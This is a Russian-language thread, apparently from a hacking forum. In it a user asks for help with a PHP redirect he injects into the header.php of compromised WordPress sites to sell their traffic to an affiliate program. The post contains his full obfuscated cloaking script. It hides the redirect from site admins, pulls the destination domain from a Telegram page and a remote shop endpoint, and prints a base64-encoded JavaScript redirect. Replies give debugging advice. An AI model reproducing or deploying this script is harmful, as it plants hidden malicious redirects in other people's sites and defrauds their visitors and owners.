• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите с редиректом, пожалуйста.

JefriFager

CD-диск
Пользователь
Регистрация
08.01.2024
Сообщения
16
Реакции
9
Гарант сделки
1
Честно сказать, тяжело сформулировать вопрос должным образом, так как являюсь еще очень зеленым бойцом во всей этой движухе, посему прошу не ругаться на корявость изложения.

Сперва думаю правильным осветить контекст ситуации в который возникает сложность.
Итак: я потихоньку сливаю траф с шелов на партерку, путем пихания php кода с редиректом в корень (header.php)

Собственно сама проблема: уже неоднократно сталкиваюсь с тем, что на некоторых сайтах при редактировании этого самого файла, не происходит ровным счетом ничего, изменения в коде сохраняются, но никакого редиретка не происходит.
В файле index.php есть вызов функции get_header, полагаю, что это недвусмысленно намекает на использование header.php.

На мой взгляд есть некая закономерность, заключается она в том, что все эти сайты в своих темах используют минимизированные версии файлов стилей (например, .min.css), возможно это как-то связано...

Ниже прикрепил пару скринов, если они бессмысленны (в контексте моей проблемы), скажите пожалуйста какая информация вам нужна, для того чтобы помочь мне. Спасибо.
 

Вложения

  • photo_2024-04-07_18-52-55.jpg
    photo_2024-04-07_18-52-55.jpg
    75.1 КБ · Просмотры: 49
  • photo_2024-04-07_18-52-59.jpg
    photo_2024-04-07_18-52-59.jpg
    71.3 КБ · Просмотры: 48
  • photo_2024-04-07_18-52-40.jpg
    photo_2024-04-07_18-52-40.jpg
    39.7 КБ · Просмотры: 49
Код:
<script>
    
    
    window.location.replace("тут линк куда будет редиректить");
    
    
</script>

данный скрипт подключай к index.php или к header.php
 
PHP's header('Location: '); will only work if you do it before any type of HTML output is sent, even a blank line will break it. Try to do the redirect as the first line of the "index.php" and see if that works.

Otherwise do a javascript based redirect, but it can get blocked in some cases by browser it-self.
 
Код:
<script>
   
   
    window.location.replace("тут линк куда будет редиректить");
   
   
</script>

данный скрипт подключай к index.php или к header.php
Благодарю за ответ, но дело в том, что я не преследую цель настроить простой JS редирект.
В файле wp-redirect, который я включаю в header при помощи операции include, находится довольно масштабный php скрипт.
Данный php скрипт создает мини клоаку, которая отсеивает администрацию ресурса + создает некоторые фильтры для редиректа (только с пс, один раз в сутки и тд)
Поэтому ваш вариант, к сожалению мне не подходит.
 
Благодарю за ответ, но дело в том, что я не преследую цель настроить простой JS редирект.
В файле wp-redirect, который я включаю в header при помощи операции include, находится довольно масштабный php скрипт.
Данный php скрипт создает мини клоаку, которая отсеивает администрацию ресурса + создает некоторые фильтры для редиректа (только с пс, один раз в сутки и тд)
Поэтому ваш вариант, к сожалению мне не подходит.
ну без самого кода твоего сложновато будет понять почему у тебя проблема происходит
 
ну без самого кода твоего сложновато будет понять почему у тебя проблема происходит
Да конечно вот скрипт.
но думаю что проблема не в нём, так как на других сайтах все работает без проблем и лишь на некоторых я сталкиваюсь с сабжем.


PHP:
<?php
global $wpdb;

$on_hot_redirect = true; //TRUE OR FALSE
function _getIP()
{
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        $ip = $_SERVER["HTTP_CF_CONNECTING_IP"];
    } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}
$hot_ip = _getIP();
$hot_useragent = $_SERVER['HTTP_USER_AGENT'];

$table_name = $wpdb->prefix . "wusers_inputs";

if ($wpdb->get_var('SHOW TABLES LIKE "' . $table_name . '"') != $table_name) {
    $sql = 'CREATE TABLE ' . $table_name . ' (`ip` int(11) UNSIGNED NOT NULL,`useragent` varchar(535) NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;';
    require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
    dbDelta($sql);
}

$hot_check_db = $wpdb->get_var(
    $wpdb->prepare(
        "SELECT * FROM {$table_name}
        WHERE ip = %s AND useragent = %s LIMIT 1",
        ip2long($hot_ip),
        $hot_useragent
    )
);

if ((current_user_can('editor') || current_user_can('administrator')) && !$hot_check_db) {
    $wpdb->insert($table_name, array(
        'ip' => ip2long($hot_ip),
        'useragent' => $hot_useragent
    ));
    $hot_check_db = true;
}

if ($on_hot_redirect) {
    if (!$hot_check_db) {
        $hot_check_db = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT * FROM {$table_name}
                WHERE ip = %s OR useragent = %s LIMIT 1",
                ip2long($hot_ip),
                $hot_useragent
            )
        );

        if (!$hot_check_db) {
            function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45)
            {
                if (function_exists('curl_version')) {
                    $var_e8061cb59b46a4a2bda304354b950448 = curl_init();
                    curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45);
                    curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0);
                    curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2'));
                    curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5);
                    $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448);
                    curl_close($var_e8061cb59b46a4a2bda304354b950448);
                    return $var_0097b357800d476540b254cb19296657;
                }
                return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45);
            }

            function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a)
            {
                preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c);
                $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null;

                if (empty($var_ca82733491623ed9ca5b46aa68429a45)) {
                    $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . 'a7a2f9622dd5316557755fdabf3b74f3&a=31211711689554'), true);
                    $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null;
                }
                if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) {
                    file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45));
                }

                return $var_ca82733491623ed9ca5b46aa68429a45;
            }

            $var_7627930d2ca3d69d67459718ffea775a = md5('31211711689554');

            if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) {
                $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a);
                $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a));
            }

            if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) {
                $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a);
                if ($var_46cae77fe5ea47d71b4e481b77b36db3) {
                    $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3;
                }
            }

            if (empty($_COOKIE[base64_decode(base64_decode('YUhSZmNuST0='))]) && $var_ca82733491623ed9ca5b46aa68429a45) {
                $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45 . '?31211711689554';
                @setcookie(base64_decode(base64_decode('YUhSZmNuST0=')), 1, time() + 86400, base64_decode(base64_decode('THc9PQ==')));
                echo base64_decode(base64_decode('UEhOamNtbHdkRDUzYVc1a2IzY3ViRzlqWVhScGIyNHVjbVZ3YkdGalpTZ2k=')) . $var_ca82733491623ed9ca5b46aa68429a45 . base64_decode(base64_decode('SWlrN2QybHVaRzkzTG14dlkyRjBhVzl1TG1oeVpXWWdQU0Fp')) . $var_ca82733491623ed9ca5b46aa68429a45 . base64_decode(base64_decode('SWpzOEwzTmpjbWx3ZEQ0PQ=='));
            }
        }
    }
}
?>
 
1. Убедитесь, что файл, который вы пытаетесь подключить через include, расположен в правильном месте относительно файла header.php. Если вы используете относительный путь, он должен быть корректным. Если у вас есть доступ к консоли, вы можете проверить путь с помощью file_exists($yourpath) на PHP. Если файл существует, file_exists вернет true.

2. Проверьте, происходит ли какой-либо вывод до header() вызова в вашем PHP скрипте. Согласно документации PHP, header() должен быть вызван до вывода любой информации на страницу - это включает в себя пробелы или пустые строки. Проверьте весь ваш скрипт и убедитесь, что до вызова header() ничего не выводится.

3. Убедитесь, что нет переопределения заголовков. Если в другом месте вашего кода (или в одном из подключенных плагинов) сервер уже отправляет заголовки, заголовки, которые вы пытаетесь отправить, могут быть переопределены или игнорироваться.

4. С помощью инструкции error_reporting(E_ALL) в начале вашего PHP кода, включите отчеты об ошибках PHP и проверьте, возникают ли какие-либо ошибки при выполнении вашего скрипта.

5. Проверьте, нет ли в файлах вашей темы других инструкций get_header(). Возможно, ваш файл header.php не используется, и вместо него подключается другой файл заголовка.
 
1. Убедитесь, что файл, который вы пытаетесь подключить через include, расположен в правильном месте относительно файла header.php. Если вы используете относительный путь, он должен быть корректным. Если у вас есть доступ к консоли, вы можете проверить путь с помощью file_exists($yourpath) на PHP. Если файл существует, file_exists вернет true.

2. Проверьте, происходит ли какой-либо вывод до header() вызова в вашем PHP скрипте. Согласно документации PHP, header() должен быть вызван до вывода любой информации на страницу - это включает в себя пробелы или пустые строки. Проверьте весь ваш скрипт и убедитесь, что до вызова header() ничего не выводится.

3. Убедитесь, что нет переопределения заголовков. Если в другом месте вашего кода (или в одном из подключенных плагинов) сервер уже отправляет заголовки, заголовки, которые вы пытаетесь отправить, могут быть переопределены или игнорироваться.

4. С помощью инструкции error_reporting(E_ALL) в начале вашего PHP кода, включите отчеты об ошибках PHP и проверьте, возникают ли какие-либо ошибки при выполнении вашего скрипта.

5. Проверьте, нет ли в файлах вашей темы других инструкций get_header(). Возможно, ваш файл header.php не используется, и вместо него подключается другой файл заголовка.
Спасибо, уже разобрался. Проблема оказалась в кеширование.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх